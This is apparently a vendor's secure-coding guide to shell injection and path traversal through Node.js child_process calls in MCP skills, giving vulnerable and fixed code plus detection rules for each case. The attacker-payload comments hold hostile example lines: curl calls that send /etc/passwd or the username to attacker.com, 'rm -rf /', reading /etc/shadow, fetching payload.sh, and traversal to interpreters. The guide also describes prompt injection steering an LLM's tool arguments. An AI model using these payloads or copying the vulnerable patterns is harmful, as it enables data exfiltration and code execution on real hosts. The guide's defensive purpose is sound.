Claude skill child_process security and shell injection
Node.js’s child_process module is one of the most dangerous APIs a Claude MCP skill can touch. Every function in the module that ultimately invokes a POSIX shell — exec(), spawn({ shell: true }), execSync() — trusts the command string completely: shell metacharacters in any position are interpreted as commands, not as data. When LLM tool arguments flow into that command string, the attacker controls the shell. Even functions that avoid the shell — execFile(), fork() — introduce their own injection surface when the executable path or module path comes from user-supplied arguments. The four SA-SKL-PROC patterns document the specific code shapes that SkillAudit flags in this family, along with the mechanics of exploitation and the architectural fixes that eliminate the surface entirely.
MCP skills commonly wrap CLI tools: ffmpeg for media conversion, git for version control, grep or ripgrep for search, pandoc for document conversion, custom scripts for data processing. Every one of these integrations requires the skill to build a command with arguments that include values from the tool call. The dangerous pattern is string concatenation or template literal interpolation of those values into a shell command string. The safe pattern is an array of literal strings passed directly to the OS via execv, bypassing the shell entirely. The distance between these patterns is often a single line change — replacing exec('grep ' + args.pattern + ' /logs/app.log') with execFile('grep', [args.pattern, '/logs/app.log']) — but the security impact is categorical. The SA-SKL-PROC family covers the four variants of this class that appear most frequently in the SkillAudit corpus.
SA-SKL-PROC-001: exec() with user input in command string — shell metacharacter injection
The most common and most severe pattern in the SA-SKL-PROC family. child_process.exec() always invokes /bin/sh -c (on Unix) with the command string as its argument. The shell parses that string in full: semicolons introduce new commands, $() and backtick syntax trigger command substitution, && and || chain commands on success or failure, pipes redirect output. When a tool argument is interpolated into the command string without escaping, any of these characters in the argument value causes the shell to execute attacker-supplied commands with the full privileges of the MCP skill process.
The attack chain in a log-search skill is illustrative: the skill calls exec('grep ' + args.pattern + ' /logs/app.log'). The attacker passes args.pattern = "'; curl http://attacker.com/exfil?d=$(cat /etc/passwd) #'". The shell receives grep ''; curl http://attacker.com/exfil?d=$(cat /etc/passwd) #' /logs/app.log. The first command (grep '') runs and produces no output. The second command (curl ...) runs and exfiltrates /etc/passwd to the attacker’s server. The trailing #' comments out the remainder of the original command. The skill’s response to the LLM contains the original grep output (empty), and the exfiltration happens silently in the background. This attack requires no knowledge of the skill’s source code — only the ability to influence what value the LLM provides for args.pattern, which an attacker can accomplish by embedding a prompt injection payload in any document the skill is asked to search.
// VULNERABLE: exec() with user input interpolated into command string
import { exec } from 'child_process';
import { promisify } from 'util';
const execAsync = promisify(exec);
server.setToolHandler('search_logs', async (args) => {
// args.pattern comes from LLM tool arguments — attacker-controlled
// exec() passes the entire string to /bin/sh -c
// Shell metacharacters in args.pattern execute arbitrary commands
const { stdout } = await execAsync(
'grep ' + args.pattern + ' /logs/app.log'
);
return { content: [{ type: 'text', text: stdout }] };
});
// ATTACKER PAYLOAD (via prompt injection in a document the skill processes):
// args.pattern = "'; curl http://attacker.com/exfil?d=$(cat /etc/passwd) #'"
// Shell executes:
// grep '' (harmless, no output)
// curl http://attacker.com/exfil?d=$(cat /etc/passwd) (exfiltrates /etc/passwd)
// #' /logs/app.log (commented out)
// Also vulnerable with template literal interpolation:
const { stdout } = await execAsync(`grep ${args.pattern} /logs/app.log`);
// → identical shell injection surface, just different syntax
// Also vulnerable with execSync:
import { execSync } from 'child_process';
const output = execSync(`grep ${args.pattern} /logs/app.log`).toString();
// SECURE: execFile() with args array — shell is never invoked
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);
// Validate the pattern against a safe regex before using it
const SAFE_PATTERN = /^[\w\s.\-*+?^${}()|[\]\\]{1,200}$/;
server.setToolHandler('search_logs', async (args) => {
const pattern = String(args.pattern ?? '');
// Reject patterns containing shell metacharacters
if (!SAFE_PATTERN.test(pattern)) {
throw new Error('Pattern contains disallowed characters');
}
// execFile does NOT invoke a shell — args are passed directly to execv
// Shell metacharacters in pattern are passed as literal characters to grep
const { stdout } = await execFileAsync('grep', [pattern, '/logs/app.log'], {
timeout: 5000,
maxBuffer: 1024 * 256
});
return { content: [{ type: 'text', text: stdout }] };
});
// DETECTION (SkillAudit SA-SKL-PROC-001):
// exec(`...${args.*}...`) or exec('...' + args.* + '...')
// execSync(`...${args.*}...`) or execSync('...' + args.* + '...')
// Any child_process function that takes a string constructed from tool args
const proc001 = searchAST(
'exec(template_literal_with_args) OR exec(concat_with_args) ' +
'OR execSync(template_literal_with_args) OR execSync(concat_with_args)'
);
if (proc001.length > 0) => CRITICAL // SA-SKL-PROC-001
exec() is always a shell, regardless of the argument format: a common misconception is that passing a “simple” command to exec() is safe as long as the user input is only in one position. This is wrong. The shell interprets the entire command string, including values in argument positions. The only way to avoid shell interpretation is to never use exec() or execSync() with user-supplied content. Replace every exec() call that includes tool argument values with execFile() using an array of arguments. The API change is minimal; the security impact is categorical.
exec('grep ' + args.pattern + ' /logs/app.log') passes user input to /bin/sh -c; shell metacharacters in args execute arbitrary commands. Fix: execFile('grep', [args.pattern, '/logs/app.log']) with input validation. Detection: exec(template_with_args) → CRITICAL.SA-SKL-PROC-002: spawn() with shell:true and array args — shell parsing re-enabled
Node.js developers often know that spawn() is safer than exec() because it passes arguments as an array to the OS without invoking a shell. This understanding is correct — when shell is false, which is the default. The SA-SKL-PROC-002 pattern arises when shell: true is added to the spawn() options object, either explicitly or by copying example code that happened to include it. With shell: true, Node.js’s behaviour changes fundamentally: instead of calling execv directly, it constructs a shell invocation (/bin/sh -c <command>) and joins the argument array with spaces to form the shell command string. The array form provides no protection when shell: true is present.
The failure mode is subtle because the code looks structurally correct — an array of arguments is passed to spawn(), which developers associate with safety. The shell: true option is often buried in a shared options object or inherited from a utility wrapper. When args.dir in spawn('ls', [args.dir], { shell: true }) contains a semicolon, the shell receives ls <dir_value> as a full command string and executes both the ls and whatever follows the semicolon. Passing args.dir = '/tmp; cat /etc/shadow' yields /bin/sh -c 'ls /tmp; cat /etc/shadow' — two commands, one shell invocation.
// VULNERABLE: spawn() with shell: true — array args joined and passed to shell
import { spawn } from 'child_process';
server.setToolHandler('list_directory', async (args) => {
// args.dir comes from LLM tool call
// LOOKS safe because spawn() is used with an array
// ACTUALLY unsafe because shell: true re-enables shell interpretation
const proc = spawn('ls', ['-la', args.dir], { shell: true });
// Node.js with shell: true executes: /bin/sh -c 'ls -la <args.dir>'
// Shell metacharacters in args.dir execute additional commands
const output = await collectOutput(proc);
return { content: [{ type: 'text', text: output }] };
});
// ATTACKER PAYLOAD:
// args.dir = '/var/log; curl -s http://attacker.com/$(whoami)'
// Shell receives: ls -la /var/log; curl -s http://attacker.com/$(whoami)
// → lists /var/log (skill sees this output)
// → exfiltrates the username via DNS/HTTP to attacker
// Even with args split across multiple array elements, shell: true is dangerous:
spawn('find', [args.path, '-name', args.pattern, '-type', 'f'], { shell: true });
// → /bin/sh -c 'find <path> -name <pattern> -type f'
// → any metacharacter in args.path or args.pattern executes a new command
// Subtle: shell: true in a shared config object
const SPAWN_OPTS = { shell: true, timeout: 10000, maxBuffer: 1024 * 512 };
// ^ This object is defined once and reused — easy to miss the shell: true
spawn('git', ['log', '--oneline', args.branch], SPAWN_OPTS);
// → args.branch = 'main; rm -rf /' would be catastrophic
// SECURE: remove shell: true — use explicit shell: false
import { spawn } from 'child_process';
import path from 'path';
// Validate that args.dir is a safe path — no shell metacharacters, no traversal
const SAFE_PATH_CHARS = /^[a-zA-Z0-9/_.\- ]{1,512}$/;
server.setToolHandler('list_directory', async (args) => {
const dir = String(args.dir ?? '');
if (!SAFE_PATH_CHARS.test(dir)) {
throw new Error('Directory path contains disallowed characters');
}
// Resolve the path and verify it stays within an allowed root
const resolved = path.resolve(dir);
const ALLOWED_ROOT = path.resolve('/var/app/data');
if (!resolved.startsWith(ALLOWED_ROOT + '/') && resolved !== ALLOWED_ROOT) {
throw new Error('Directory outside allowed root');
}
// shell: false (explicit) — args are passed directly to execv
// No shell, no metacharacter interpretation, no joining
const proc = spawn('ls', ['-la', resolved], { shell: false });
const output = await collectOutput(proc, { maxBytes: 65536, timeoutMs: 5000 });
return { content: [{ type: 'text', text: output }] };
});
// DETECTION (SkillAudit SA-SKL-PROC-002):
// spawn(cmd, args_array, { shell: true }) with any args element derived from tool args
// OR spawn(cmd, args_array, options_obj) where options_obj.shell === true
const proc002 = searchAST(
'spawn(*, *, { shell: true }) ' +
'OR spawn(*, *, options) where options contains shell: true'
);
if (proc002.length > 0) => CRITICAL // SA-SKL-PROC-002
shell: true is almost never necessary in MCP skill code: the primary reason to use shell: true is to support shell features like glob expansion, environment variable expansion, or shell built-ins. MCP skills should not rely on any of these — they should pass explicit argument values directly. If you find yourself needing shell: true, it is a signal that the command construction logic should be reworked to compute the values the shell would have expanded, and pass those values directly as array arguments. There is no legitimate MCP skill use case for shell: true on a spawn() call whose arguments come from tool parameters.
spawn('ls', [args.dir], { shell: true }) passes /bin/sh -c 'ls <args.dir>'; metacharacters in args.dir execute arbitrary commands. Fix: spawn('ls', [resolvedDir], { shell: false }). Detection: spawn(*, *, { shell: true }) → CRITICAL.SA-SKL-PROC-003: execFile() with untrusted executable path — path traversal to arbitrary binary
execFile() is the recommended replacement for exec() because it does not invoke a shell. However, execFile() still executes a binary — and if the path to that binary comes from user-supplied arguments, the attacker can supply any path accessible to the skill process. The SA-SKL-PROC-003 pattern arises in skills that expose a pluggable converter, processor, or tool-runner interface: the skill accepts the name or path of an executable as a tool argument and then calls execFile(args.converter, [inputFile]). The intended use case is to allow the LLM to select from a set of safe converters. The actual security posture is that the attacker can supply any path, including system binaries (/usr/bin/python3), writable-directory binaries (/tmp/malicious), or path-traversal payloads (../../../../usr/bin/curl) that reach executables outside the intended converter directory.
The attack does not require placing a custom binary on the target system. A Python3 interpreter at a traversal-reachable path, invoked with a skill-provided input file that happens to contain a Python script, executes the attacker’s code. A curl binary invoked with a URL as the “input file” exfiltrates data. Even a benign tool like convert (ImageMagick) has historically had vulnerabilities exploitable via specially crafted input files. The principle is that the attacker controls both what binary runs and what file it processes — the combination is arbitrary code execution regardless of the skill author’s intentions.
// VULNERABLE: execFile() with executable path from tool arguments
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);
server.setToolHandler('convert_document', async (args) => {
// args.converter is user-supplied — attacker controls which binary executes
// args.inputFile is also user-supplied — double injection surface
const { stdout } = await execFileAsync(args.converter, [args.inputFile]);
return { content: [{ type: 'text', text: stdout }] };
});
// ATTACKER PAYLOADS:
// Path traversal to system interpreter — execute any Python script:
// args.converter = '../../../../usr/bin/python3'
// args.inputFile = '/tmp/attacker_script.py' (uploaded or written in previous step)
// → python3 executes attacker_script.py with full Python stdlib access
// Absolute path to system binary:
// args.converter = '/usr/bin/curl'
// args.inputFile = 'http://attacker.com/payload.sh'
// → curl fetches the attacker's URL (data exfiltration or payload download)
// Writable directory binary — place malicious binary beforehand:
// args.converter = '/tmp/evil_converter'
// → execFile() executes the attacker's pre-placed binary
// Path traversal with encoded separators:
// args.converter = '..%2F..%2Fusr%2Fbin%2Fpython3' (URL-decoded before exec)
// → URL decoding in argument handling expands to path traversal
// SECURE: allowlist of converters stored in server config; never from args
import { execFile } from 'child_process';
import { promisify } from 'util';
import path from 'path';
const execFileAsync = promisify(execFile);
// Converter registry defined entirely in server configuration
// Keyed by a safe name, value is the absolute path locked at startup
const CONVERTERS: Record<string, string> = {
pdf2txt: '/usr/local/bin/pdftotext',
docx2txt: '/usr/local/bin/docx2txt.pl',
img2png: '/usr/bin/convert',
};
// Allowed input file directory
const INPUT_DIR = path.resolve('/var/app/uploads');
server.setToolHandler('convert_document', async (args) => {
const converterName = String(args.converterName ?? '');
// Validate converter name against explicit allowlist — no paths accepted
const converterPath = CONVERTERS[converterName];
if (!converterPath) {
throw new Error(`Unknown converter: ${converterName}`);
}
// Validate input file stays within allowed upload directory
const inputFile = path.resolve(INPUT_DIR, path.basename(String(args.inputFile ?? '')));
if (!inputFile.startsWith(INPUT_DIR + '/')) {
throw new Error('Input file outside allowed directory');
}
// execFile with fully validated, allowlist-derived executable path
const { stdout } = await execFileAsync(converterPath, [inputFile], {
timeout: 30000,
maxBuffer: 1024 * 1024
});
return { content: [{ type: 'text', text: stdout.slice(0, 50000) }] };
});
// DETECTION (SkillAudit SA-SKL-PROC-003):
// execFile(args.*, ...) — first argument (executable path) from tool args
// OR execFile(context.*, ...) — executable path from request context
// OR execFileSync(args.*, ...)
const proc003 = searchAST(
'execFile(args.*, *) OR execFile(context.*, *) ' +
'OR execFileSync(args.*, *)'
);
if (proc003.length > 0) => HIGH // SA-SKL-PROC-003
The allowlist must cover the executable path, not just the name: a common partial fix is to validate that args.converter matches a safe regex (e.g., only alphanumeric characters) before passing it to execFile(). This is insufficient because a name like python3 could still be resolved to a system binary if the skill constructs the path by joining a directory prefix with the user-supplied name. The fix must be an explicit mapping from safe names to absolute, pre-resolved paths — the map is defined at startup, the paths are validated at startup, and no path construction occurs at request time. Tool arguments must never influence which path is passed to any child_process function.
execFile(args.converter, [inputFile]) allows the attacker to supply any accessible binary path; path traversal to system interpreters or writable-directory binaries achieves arbitrary code execution. Fix: allowlist-only converter map keyed by safe names, absolute paths stored in config. Detection: execFile(args.*, *) → HIGH.SA-SKL-PROC-004: fork() with user-derived module path — arbitrary module execution via path traversal
child_process.fork() is Node.js’s mechanism for spawning a new Node.js process that runs a specified JavaScript module. Unlike spawn() or execFile(), fork() always executes Node.js — the question is which module it executes. Skills that use fork() for worker processes sometimes construct the module path from tool arguments to select which worker to run: fork(path.join('./workers/', args.workerType + '.js')). The attacker can set args.workerType to a path traversal payload such as ../../../node_modules/.bin/sh, ../../config/database, or any path reachable from the workers directory. When fork() loads an arbitrary JavaScript file, it executes that file in a fresh Node.js process with access to the full Node.js API, including require, fs, child_process, and process.env. A crafted .js file (or a file that Node.js resolves to a .js file) placed in any reachable location becomes a remote code execution vector.
The path traversal payload does not need to traverse far. The node_modules directory of most Node.js projects contains dozens of executable scripts under .bin/, many of which accept standard input or process environment variables in ways that can be exploited. Even without a custom payload, forking node_modules/.bin/ts-node or node_modules/.bin/jest with attacker-controlled arguments can achieve unexpected execution. Legitimate worker names should be a closed, enumerated set that maps to pre-resolved absolute paths, validated at startup before any requests are processed.
// VULNERABLE: fork() with module path constructed from tool argument
import { fork } from 'child_process';
import path from 'path';
const WORKERS_DIR = path.resolve(__dirname, './workers');
server.setToolHandler('run_worker', async (args) => {
// args.workerType comes from LLM tool arguments
// Path is constructed by joining WORKERS_DIR with args.workerType
// Path traversal in args.workerType escapes WORKERS_DIR
const workerPath = path.join(WORKERS_DIR, args.workerType + '.js');
// ^^^ path.join does NOT protect against '../' traversal
const worker = fork(workerPath, [], { silent: true });
const result = await waitForWorkerResult(worker);
return { content: [{ type: 'text', text: result }] };
});
// ATTACKER PAYLOADS:
// Path traversal to escape workers directory:
// args.workerType = '../../../node_modules/.bin/sh'
// workerPath = /app/workers/../../../node_modules/.bin/sh.js
// → path.resolve would give /node_modules/.bin/sh (or similar)
// → if sh.js exists or is resolvable, Node.js executes it
// Traverse to an attacker-writable directory:
// args.workerType = '../../../tmp/evil'
// → if /tmp/evil.js was written in a previous step, it executes with Node.js
// Null byte bypass (pre-Node.js 18):
// args.workerType = 'image\x00../../etc/passwd'
// → older Node.js versions may truncate at null byte differently
// Traverse to a node_modules script that accepts dangerous input:
// args.workerType = '../../../node_modules/ts-node/dist/bin'
// → ts-node starts and may accept stdin as TypeScript to evaluate
// Note: path.join() normalises '..' but does NOT prevent traversal
// path.join('/app/workers', '../evil') === '/app/evil'
// → the join collapses to a path ABOVE the intended workers directory
// SECURE: allowlist of valid worker names; resolve and validate at startup
import { fork } from 'child_process';
import path from 'path';
import fs from 'fs';
const WORKERS_DIR = path.resolve(__dirname, './workers');
// Allowlist defined as a Set of safe, validated worker names
// Only names in this set are ever forked
const ALLOWED_WORKERS = new Set(['image', 'pdf', 'csv', 'json', 'xml']);
// Pre-resolve all worker paths at startup — validate they exist and are within WORKERS_DIR
const WORKER_PATHS: Record<string, string> = {};
for (const name of ALLOWED_WORKERS) {
const p = path.resolve(WORKERS_DIR, name + '.js');
if (!p.startsWith(WORKERS_DIR + '/')) {
throw new Error(`Worker path escapes workers dir: ${name}`);
}
if (!fs.existsSync(p)) {
throw new Error(`Worker file not found at startup: ${p}`);
}
WORKER_PATHS[name] = p;
}
server.setToolHandler('run_worker', async (args) => {
const workerType = String(args.workerType ?? '');
// Validate against the allowlist — never accept paths, only simple names
if (!ALLOWED_WORKERS.has(workerType)) {
throw new Error(`Unknown worker type: ${workerType}`);
}
// Fork using the pre-resolved, startup-validated absolute path
// Path is never constructed from args at request time
const workerPath = WORKER_PATHS[workerType];
const worker = fork(workerPath, [], {
silent: true,
timeout: 30000,
// Restrict worker environment — do not inherit process.env with secrets
env: { NODE_ENV: 'production', WORKER_TYPE: workerType }
});
const result = await waitForWorkerResult(worker, { timeoutMs: 30000 });
return { content: [{ type: 'text', text: result }] };
});
// DETECTION (SkillAudit SA-SKL-PROC-004):
// fork(path.join(*, args.*)) — path constructed from args
// OR fork(args.*) — direct path from args
// OR fork(WORKERS_DIR + '/' + args.*) — concatenation with user input
const proc004 = searchAST(
'fork(path.join(*, args.*)) OR fork(args.*) ' +
'OR fork(concat_with_args)'
);
if (proc004.length > 0) => HIGH // SA-SKL-PROC-004
path.join() normalises traversal sequences but does not prevent path traversal: path.join('/app/workers', '../evil') returns /app/evil — it resolves the traversal to an absolute path outside the intended directory. Only path.resolve() combined with a startsWith(WORKERS_DIR + '/') check reliably detects traversal. But the correct fix is not to add a check after construction — it is to never construct the path from tool arguments at all. Use a pre-built map of safe names to pre-resolved paths, populated at startup, and never touch path.join() with request-time user input.
fork(path.join('./workers/', args.workerType + '.js')) allows path traversal to arbitrary JS modules; node_modules/.bin/ scripts and attacker-placed files in writable directories become RCE vectors. Fix: allowlist of worker names mapped to startup-resolved absolute paths. Detection: fork(path.join(*, args.*)) → HIGH.Remediation summary
| Finding | Severity | Fix |
|---|---|---|
| PROC-001: exec() shell metacharacter injection | CRITICAL | Replace all exec() and execSync() calls that include tool argument values with execFile() using an array argv; validate each argument against a strict allowlist or regex before the call; never interpolate tool arguments into a shell command string under any circumstances |
| PROC-002: spawn() with shell:true | CRITICAL | Remove shell: true from all spawn() options objects; use shell: false explicitly; resolve argument values to safe, validated strings before placing them in the args array; no MCP skill should require shell: true for any legitimate operation |
| PROC-003: execFile() with untrusted executable path | HIGH | Define an allowlist of converter/tool names mapped to absolute executable paths in server configuration; validate names against the allowlist before looking up the path; never accept an executable path from tool arguments; validate that input file paths resolve within an allowed uploads directory |
| PROC-004: fork() with user-derived module path | HIGH | Define a Set of valid worker type names; pre-resolve all worker module paths at startup and validate they exist within the workers directory using path.resolve() + startsWith(); fork only from the pre-validated path map; never construct a module path using tool argument values at request time |
SkillAudit detects all four SA-SKL-PROC-001 through PROC-004 child_process injection patterns via AST-based taint analysis that traces tool argument values through command string construction and process spawn call sites. For related injection patterns involving template strings and server-side rendering, see SA-SKL-SBX template engine injection — which covers Handlebars compile, Nunjucks renderString, EJS and Pug patterns. See the complete 15-family SA-SKL attack surface reference for the full taxonomy of MCP skill security findings.
Scan your Claude skill for child_process vulnerabilities
SkillAudit detects exec() shell injection, spawn shell:true, execFile path traversal, and fork module injection across the full SA-SKL-PROC family in 60 seconds.
Get your free audit